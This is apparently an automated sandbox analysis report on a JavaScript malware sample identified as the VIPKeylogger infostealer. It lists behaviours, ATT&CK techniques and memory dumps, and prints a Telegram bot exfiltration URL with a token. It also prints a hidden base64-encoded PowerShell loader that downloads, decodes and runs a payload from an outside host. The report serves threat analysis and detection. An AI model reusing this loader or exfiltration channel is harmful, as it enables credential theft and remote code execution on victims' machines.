Analysis
- max time kernel
148s - max time network
129s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
09/10/2026, 14:59
General
- Target PO-101F4S SITCVN.js
- Size 46KB
- Sample261009-scx38sysfz
- SHA256 de763dd66a1ce36902727f5a78c6a0b52fbbeae10e15561bc061253e1c05b501
Malware Config
Extracted
-
vipkeylogger
-
https://api.telegram.org/bot8605662882:AAGOi8tNnOtTj4sPeFNCHThH6IZ5Lh938lQ/sendMessage?chat_id=8008584601
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 TTPs 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\PO-101F4S SITCVN.js"1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezN9Y2hyaXNtYXRhID0gezB9aHR0cHM6Ly9yb3VnaC10cnV0aC1lMDcyLnB1YmxpY2Z0cHJlc2VuZC53b3JrZXJzLmRldi9wYmFvd3BpezB9OyB7M31wb3JwaHlyaW5vZ2VuID0gezB9Qzp7Mn1Vc2Vyc3syfVB1YmxpY3syfURvd25sb2Fkc3syfXBheWxvYWQudHh0ezB9OyB7M31ob2xvY2xvbmUgPScrJyBbYWN0aXZhdCcrJ29yXScrJzo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjbCcrJ2llbnRdKTsgezN9aG8nKydsb2Nsb25lLkhlYWRlcnMuQWRkKHswfVVzZXItQWdlbnR7MH0sIHswfU1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnswfSk7IHszfWhvbG9jbG9uZS5Eb3dubG9hZEZpbGUoezN9Y2hyaScrJ3NtYXRhLCB7M31wb3JwaHlyaW5vZ2VuKTsgezN9YnVycmluZyA9IChHZXQtQ29udGVudCAnKyd7M31wb3JwaHlyaW5vZ2VuIC1SYXcpOyB7M310cmVtYW5vdHVzID0gezN9YnVycmluZy5SZXBsYScrJ2NlKHsxfSp7MX0sezF9QXsxfSk7IHszfXdhcm13YXJlID0gW2NoYXJbJysnXV0oKHsnKyczfXRyZW1hbm8nKyd0dXMuVG9DaGFyQXJyYXkoKSlbKHszfXRyZW1hbm90dXMuTGVuJysnZ3RoLTEpLi4wXSk7IHszfXNldmVyaXR5ID0gWycrJ1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygtam9pbiB7M313YXJtd2FyJysnZSk7IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkxvYWQoezN9c2V2ZXJpdHkpIHs0fScrJyBPdXQtTnVsbDsgW1dpbjMyJysnLlJNUC5hYWFhJysnYWFhXTo6YWFhYWFhYWFhYWEoezF9V3NZMXZvMmpsQXFpM2NEK2xFNDNyMkc2TTZMR21aUmtzYys4RmVKRicrJ1dmSk5CaHB1LzQxczk0RllZeTBXWWthWVV4RG92a2hGeGVGejJyMFJ3dWZ2TzYrbCcrJ05tdycrJ0knKycvZ1dyRWREWGloJysnU3RHc2s9ezF9LHsxfWtiNmo1U0dONXU1eGpDUTN5WVlWbG9GaTBKOHpjQ3ZYdS9yS1pqU3VFTE09ezF9LHsxfXQ1NFRwdjM2bGtOZ2JZUjZjMUFvU0psQkcrVkhKZicrJ1hHaURBZzFKWjR6REU4YTgwRUtScEg3ZmVUK1dZMEF3Qmx7MX0sezF9Nm50MHRDYXR2RDVrNXRDcFJyWVU5Z240RHBjR0gwdWpsK2ZOVXJFWlhLOD17MX0sezF9ekhrYTBoJysnQnNCakJQTScrJ2NIa0ZueHJsOG1GJysnRjYvMkQ0TC9sV3kwWUhJR3Urcz17MX0sezF9ezF9LHsxfUJBUEJvaGtvd3N0MDJkUmJpaG5pblk4SHFCN0RiS1ZwSXdnaWpueDE4SEE9ezF9LHsxfVpzYkdGYnljQUlWSi9raVk0JysnSUxiVTFpZWdQdTdIJysnT0RLRlZlTCcrJ1VadlhUdXM9ezF9LHsxfVhzaEJtYTI5TW5MK2QnKydKMWlYeWxkUUsvSjc1JysnVUM4R0l2c2pWZXl3bHVnRkU9ezF9LHsxfU9EQ2YwJysnbGlyQmxpVnI0SScrJzFkZW1GNi9tUmRJdTJKNDBpK054cDZvV290JysnM0RQJysnSzVkMUFxd0plSlQ5RU1tdmJmclF7JysnMX0sezF9UzMwSXBPakxLWXNocE1qejBCR2pBbjdEZFVqZWlCekRyWExZUmFsbTg1TT17MX0sezF9RExqZ2ljZGh5SGc5L2ZiTkF6c1gvTy83SHM3TDBOZHpCLycrJ2MwSk9TTDJ0VT17MX0sezF9SicrJ1piYXB2Z3lBM3lWSTN3YVZ5RXMrQzRGbXl3NHFiU0RiNVlTa3dBWkJGbz17MX0nKycsezF9czMnKydLZlBqSTZHc2J5UHMnKyd6Y1AnKydIYlJsN0p1RWRWOFQzRHlhWmVPQ0l1WjgyQT17MX0sezF9djMnKydMYScrJ05GeXpuem4nKydnUUVhUGh5NDl6V0pvNDFXTUsxUVJSZ1dEVnF0YXVIVT17MScrJ30sezF9VUlhTW1ENVB2VHIzUVo5Y3FuVEhSMFhyJysnVycrJ2NNK01IUGs3U1R0c1Z4WicrJ2F3ND17MX0sezF9ezF9JysnLHsxfXsxfSx7MX17MX0pOyBSZW1vdicrJ2UtSXRlbSAtUGF0aCB7M31wb3JwaHlyaW5vZ2VuIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bCcrJ3lDb250aW51JysnZScpICAtZiBbQ2hBUl0zNCxbQ2hBUl0zOSxbQ2hBUl05MixbQ2hBUl0zNixbQ2hBUl0xMjQpfEllWA==')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/1448-16-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-9-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-4-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-5-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-6-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-7-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-8-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-22-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-10-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-11-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-14-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-15-0x00007FFF01380000-0x00007FFF01D24000-memory.dmp
memory/1448-3-0x0000020475250000-0x0000020475272000-memory.dmp
memory/1448-17-0x0000020475320000-0x0000020475344000-memory.dmp
memory/1448-0-0x00007FFF0150F000-0x00007FFF01510000-memory.dmp
memory/5208-27-0x0000000007090000-0x00000000075BC000-memory.dmp
memory/5208-21-0x0000000074742000-0x0000000074743000-memory.dmp
memory/5208-23-0x0000000005C40000-0x00000000061FA000-memory.dmp
memory/5208-24-0x00000000055B0000-0x000000000564C000-memory.dmp
memory/5208-25-0x0000000006990000-0x0000000006B52000-memory.dmp
memory/5208-26-0x0000000006810000-0x0000000006860000-memory.dmp
memory/5208-18-0x0000000000400000-0x0000000000448000-memory.dmp
memory/5208-28-0x0000000074742000-0x0000000074743000-memory.dmp
memory/5208-29-0x0000000006B60000-0x0000000006BF2000-memory.dmp
memory/5208-30-0x0000000006930000-0x000000000693A000-memory.dmp